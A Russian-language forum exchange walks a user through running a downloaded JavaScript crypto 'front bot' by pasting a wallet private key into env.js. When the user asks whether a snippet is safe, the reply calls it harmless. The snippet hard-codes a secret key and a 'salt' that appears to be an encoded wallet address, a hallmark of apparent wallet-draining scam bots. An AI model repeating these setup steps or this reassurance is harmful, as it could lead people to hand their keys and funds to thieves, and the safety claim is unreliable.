Нашёл, где спрашивать, но ладно. Это JS, оно не компилируется, так что:
1) Идёшь сюда (https://nodejs.org), качаешь current или lts, разницы нет. Запускаешь, далее, далее, далее и у тебя появляются node js и npm.
2) Качаешь сам проект (Code -> Download ZIP) и разархивируешь куда хочешь.
3) Внутри есть файл env.js, открываешь в любом редакторе и вместо "Enter your private key here" пишешь свой закрытый ключ(тебе наверное виднее, что и где это надо искать), а вместо "0x2859e4544c4bb03966803b044a93563bd2d0dd4d"(после "const TOKEN_ADDRESS") свой токен.
4) Открываешь консоль в папке проекта (в проводнике заходишь в папку и вместо адресса пишешь "cmd").
5) "npm install" -> "npm start".
Должно работать ¯\_(ツ)_/¯
Бро, я тут на таких, как ты и рассчитывал) хоть их тут и единицы) Спасибо тебе.
Тогда можно еще один вопрос? Можешь мне вкратце, буквально в двух словах объяснить функцию этого отрывка кода?
const algorithm = 'aes-256-ctr';
const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
const salt = 'MHhhMjhiNGU3RjhGNzY4RDYxRmUyMjBGNmQ5MEE5MmRiM2UyMTFh'
const iv = crypto.randomBytes(16);
module.exports = {
setBotAddress,
getBotAddress,
FRONT_BOT_ADDRESS,
botABI,
salt
};
Просто как то стремно вводить ключ от своего кошелька в непроверенный скрипт, вдруг он его потом еще куда нибудь отправит?)
Именно в этом отрывке всё выглядит нормально, это просто вспомогательный скрипт для работы с ботом, а точнее, с его адресом.